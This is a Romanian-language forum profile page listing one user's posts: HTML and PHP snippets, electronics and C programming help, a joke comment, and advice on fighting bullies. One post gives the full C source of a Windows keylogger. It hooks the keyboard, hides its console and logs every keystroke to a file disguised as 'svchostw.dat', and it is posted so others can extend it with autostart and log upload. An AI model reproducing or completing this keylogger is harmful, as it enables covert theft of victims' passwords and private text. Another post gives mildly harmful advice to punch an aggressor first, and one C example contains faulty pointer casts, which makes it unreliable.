Jump to content

Zamolxis666

Active Members
  • Posts

    277
  • Joined

  • Last visited

  • Days Won

    3

Posts posted by Zamolxis666

  1. 1. How to embed a flash movie into html.


    <object type="application/x-shockwave-flash"
    data="your-flash-file.swf"
    width="0" height="0">
    <param name="movie" value="your-flash-file.swf" />
    <param name="quality" value="high"/>
    </object>

    2. How to use Google Maps in order to get directions, using HTML.


    <form action="http://maps.google.com/maps" method="get" target="_blank">
    <label for="saddr">Enter your location</label>
    <input type="text" name="saddr" />
    <input type="hidden" name="daddr" value="350 5th Ave New York, NY 10018 (Empire State Building)" />
    <input type="submit" value="Get directions" />
    </form>
    <!--saddr = blank input field for entering START address-->
    <!--daddr = hard-coded END address-->

    3. How to select multiple files.


    <form method="post" action="upload.php" enctype="multipart/form-data">
    <input name='uploads[]' type="file" multiple>
    <input type="submit" value="Send">
    </form>

    The PHP file(you can then loop through the data as an array):


    foreach ($_FILES['uploads']['name'] as $filename) {
    echo '<li>' . $filename . '</li>';
    }

    4. Build a test page which has a basic css, loads jquery from google and sets up DOM-ready block for jQuery.


    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

    <title>Test Page</title>

    <style type="text/css">
    * { margin: 0; padding: 0;}
    </style>

    <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>

    <script type="text/javascript">
    $(function(){
    // Do stuff.
    });
    </script>
    </head>

    <body>

    </body>

    </html>

    sursa + mai multe aici: Very Useful Code Snippets For Web Developers | Top Design Magazine - Web Design and Digital Content

  2. Am gasit urmatorul comentariu pe gds.ro cu privinta la articolul de fata:

    "Anun?ul c? viteza luminii a fost dep??it? de o particul? subatomic? a cutremurat întreaga comunitate ?tiin?ific?, mai pu?in pe Marian Vanghelie, care se a?tepta demult la asta. „Dup? cum ?ti?i, ?i eu m? bazam pe Teoria Relativit??ii în cercet?rile mele, dar numai par?ial”, a spus Vanghelie. „M-am banghit c? are câteva chichi?e, dar am zis c? mai merge peticit? ?i s-o folosim a?a cum e.” Vizibil afectat de aceast? schimbare a paradigmei ?tiin?ifice, Vanghelie a primit vestea cum nu se putea mai prost. „Mai bine îmi d?dea cineva un ?ut în boa?e. Nici nu vreau s? m? gândesc la implica?iile acestei descoperiri. Eu mai aveam pu?in ?i rezolvam ecua?ia Teoriei Unificatoare, c?ca-m-a? în ea. Acum va trebui s?-mi refac toate calculele.” V anghelie tocmai ie?ea din laboratorul de fizic?, unde servea prânzul, când a fost informat de un student c? Teoria Relativit??ii tocmai a fost infirmat?. „L-am scuipat între ochi”, î?i aminte?te Vanghelie. „B?i boule, îi zic eu, în primul rând c? nicio particul? subatomic? întreag? la minte n-ar dep??i viteza luminii, fiindc? e periculos! Dar ca s? vii s?-mi zici în fa?? c? un neutrin este mai iute ca un foton, asta e chiar tupeu, du-te dracului de nesim?it!”

  3. Salutare,

    Acum ceva timp in urma postase Slick un keylogger care "agata" un hook de tastatura si de fiecare data cand apasai o tasta iti semnala acest lucru printr-o pereche de paranteze afisate in consola.

    Am modificat proiectul lui a.i. consola nu mai este afisata, iar tastele apasate sunt inregistrate intr-un fisier. Initial planuisem sa bag programul in registrii sa porneasca automat la startup, iar log-ul sa fie de asemenea urcat automat pe server 1 data /zi. Din pacate, timpul si problemele de acasa m-au facut sa renunt la proiect si il postez aici, in speranta ca cineva il va continua, sau va invata ceva folositor:


    #include <windows.h>
    #include <winuser.h>
    #include <stdio.h>
    #include <string.h>

    HHOOK hKeyHook; // hook`ul
    bool shift = false;
    bool caps = false;
    FILE *f;

    // Acesta functia este exportata din executabil la fel ca o functie care face parte dintr-in dll
    __declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode,WPARAM wParam,LPARAM lParam)
    {
    if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
    {
    KBDLLHOOKSTRUCT hooked=*((KBDLLHOOKSTRUCT*)lParam); // diverse informatii despre tasta apasata
    DWORD dwMsg=1;

    if(hooked.vkCode == VK_SHIFT && shift == false)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[SHIFT]");
    fclose(f);
    shift = true;
    }
    else if(hooked.vkCode == VK_SHIFT && shift == true)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[SHIFT]");
    fclose(f);
    shift = false;
    }
    else if(hooked.vkCode == VK_CAPITAL && caps == true)
    caps = false;
    else if(hooked.vkCode == VK_CAPITAL && caps == false)
    caps = true;
    else if((0x41 <= hooked.vkCode && hooked.vkCode <= 0x5A) && (caps || shift))
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%c", hooked.vkCode);
    fclose(f);
    }
    else if((0x41 <= hooked.vkCode && hooked.vkCode <= 0x5A) && (caps==false && shift == false))
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%c", tolower(hooked.vkCode));
    fclose(f);
    }
    else if(VK_NUMPAD0 <= hooked.vkCode && hooked.vkCode <= VK_NUMPAD9)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%d", hooked.vkCode - 0x60);
    fclose(f);
    }
    else if(0x30 <= hooked.vkCode && hooked.vkCode <= 0x39)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%d", hooked.vkCode - 0x30);
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_1)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[;:]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_2)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[/?]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_3)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[`~]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_4)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[ [{ ]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_5)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[\\|]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_6)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[ ]} ]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_7)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "['\"]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_PLUS)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "+");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_COMMA)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", ",");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_MINUS)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "-");
    fclose(f);
    }
    else if(hooked.vkCode == VK_OEM_PERIOD)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", ".");
    fclose(f);
    }
    else if(hooked.vkCode == VK_RETURN)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "\n");
    fclose(f);
    }
    else if(hooked.vkCode == VK_TAB)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[TAB]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_DELETE)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[DEL]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_BACK)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", "[BACK]");
    fclose(f);
    }
    else if(hooked.vkCode == VK_SPACE)
    {
    f = fopen("svchostw.dat", "a");
    fprintf(f, "%s", " ");
    fclose(f);
    }

    }
    return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
    }

    // un ciclu de mesaje folosit ca sa blocheze executia cat timp sunt logate tastele
    void MsgLoop()
    {
    MSG message;
    while(GetMessage(&message,NULL,0,0))
    {
    TranslateMessage(&message);
    DispatchMessage(&message);
    }
    }

    // instaleaza hook`ul si incepe ciclul pentru capturarea tastelor apasate
    DWORD WINAPI KeyLogger(LPVOID lpParameter)
    {
    HINSTANCE hExe=GetModuleHandle(NULL);
    if (!hExe) hExe=LoadLibrary((LPCWSTR) lpParameter);
    if (!hExe) return 1; // eroare, iesim din program
    hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,0); // instalam hook`ul
    MsgLoop(); // asteptam apasarea tastelor
    UnhookWindowsHookEx(hKeyHook); // dezinstalam hook`ul
    return 0;
    }

    int main(int argc, char** argv)
    {
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;

    hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID) argv[0], 0, &dwThread); // incepem functia de logging intr-un alt thread
    if(hThread)
    {
    return WaitForSingleObject(hThread,INFINITE);
    }
    else
    {
    return 1;
    }
    }

    link to pastebin:

    [C] KLg - Pastebin.com

    Toate cele bune

    • Upvote 1
  4. Daca vin in grup si se iau de tine si nu e nimeni prin preajma, tine-te tare, uita-te la ei sa vezi care e cel mai smecher dintre ei si pe nepregatite arde-i un pumn in plina figura. O sa il umilesti in fata prietenilor lui si n-o sa se mai ia de tine. Si daca ceilalti sunt cacaciosi or sa plece, daca nu sunt cacaciosi si or sa sara la bataie, atunci nu ii lasa sa te bata, dai si tu (asta daca esti 100% sigur ca n-are nimeni cutit la el).

    Alta solutie (si cea mai buna) este sa incerci sa-ti rezolvi cu cap problemele. Cum? Asta depinde numai de tine. Tu stii mai bine ca oricine in ce ape te scalzi si cu cine.

  5. iti trebuie un microprocesor (sau varianra II cu unul sau mai multe numaratoare), rezistente si leduri + cunostinte de eletronica. Pana sa iti cumperi piesele poti sa incerci Proteuse Isis sa proiectezi si sa simulezi circuitul.

    Ceva de genul asta:

    http://img43.imageshack.us/img43/5984/65118665.png

    Pseudocod pt microprocesor:


    directie = stanga_dreapta
    port_iesire = 7 (111 in binar)
    i = 2

    executa in bucla infinita
    daca(directie = stanga_dreapta) atunci
    port_iesire = port_iesire >> 1 (shiftam continutul cu o pozitie la dreapta)
    i++
    daca(i = 5)
    directie = dreapta_stanga (inseamna ca cele mai din dreapta 3 leduri sunt aprinse)
    altfel
    port_iesire = port_iesire << 1 (shiftam continutul cu o pozitie la stanga)
    i--
    daca(i = 2)
    directie = stanga_dreapta (inseamna ca cele mai din stanga 3 leduri sunt aprinse)

  6. Din calcule gresite de acolo a scos banii:

    a primit 25000 de la femei

    25000 - 3000 inghetata = 22000

    22000 - 2000 (bani inapoiati ambelor femei) = 20000

    Pe drum se intalneste cu femeile carora le'a vandut gaina, acestea spun ca i'a dat prea mult pe gaina si Bula le da inapoi 1mie la o femeie, 1mie la cealalta...

    adica cele doua femei ar fi platit 23000 pe gaina, din care scadem 3000 inghetata si obtinem fabuloasa suma de 20000. Prin urmare mia de lei pe care o are in plus sunt bani de buzunar de la tatal sau

  7. Daca inseriezi ledurile, atunci iti tebuie o tensiune de 30 LEDuri x 0.7 V/Led = 21 V aplicati pe anodul primului led din serie. Daca le pui in paralel iti tebuie minim 0.7V aplicati in total pe anozii ledurilor. Trebuie sa tii cont si de intensitatea curentului pentru ca ea este cea care iti da luminozitate mai mare sau mai mica pt leduri (sau le poate arde daca e prea mare).

  8. Da este o diferenta, cad apelezi functie1 in main o apelezi asa functie1(a, B), iar pentru functie2: functie2((int *)a, (int *)B). In primul caz transmiti ca parametri adresele variabilelor, iar in cazul doi doar pointeri catre variabile si de aceea trebuie sa faci cast catre pointer la int daca presupunem ca variabilele a si b sunt declarate ca int a, b. Uite un exemplu mai jos:


    #include <stdio.h>
    #include <conio.h>

    void f1(int &x, int &y)
    {
    printf("%d %d\n", x, y);
    }

    void f2(int *x, int *y)
    {
    printf("%d %d\n", x, y);
    }

    int main()
    {
    int x = 10, y = 11;
    f1(x, y);
    f2((int *)x, (int *)y);

    getch();
    return 0;
    }

  9. daca lista este simplu inlantuita, si pointerul p arata catre primul element din lista atunci:


    copie = p;
    p = p->next //ne pozitionam pe al doilea element din lista

    cat timp p != null executa
    temp = p; //retinem elementul curent
    p = p->next; //ne mutam pe urmatorul element din lista
    delete temp; //si il stergem pe cel de dinaintea lui
    end cat timp

    p = copie; //ne repozitionam pe primul nod al listei

  10. Deci incepi cu Visual Basic, ca sa iti formezi logica programarii....

    @adonisslanic: Logica programarii inseamna sa analizezi problema pe care o ai de rezolvat, sa o descompui in subprobleme/module care sa fie mai usor de rezolvat, sa le proiectezi si sa le implementezi corespunzator. NU se refere in niciun caz la limbajul cu care incepi

    @kame: Odata ce stii sa proiectezi un algoritm pentru o problema, limbajul de programare nu prea conteaza. Din experienta mea iti recomand sa inveti C curat, apoi C++ si proiectarea orientata pe obiecte. Daca esti autodidact te sfatuiesc sa citesti teoria , sa incerci sa o intelegi, sa rulezi exemplele de la fiecare capitol/lectie, sa rezolvi problemele propuse de la fiecare lectie, si daca ai nelamuriri sa intrebi pe cineva care chiar se pricepe, nu pe bagatorii de seama care-si dau cu parere.

    LE: Nu te incurca sa inveti nu stiu cate limbaje de programare ca o sa sfarsesti sa nu inveti niciunul.

×
×
  • Create New...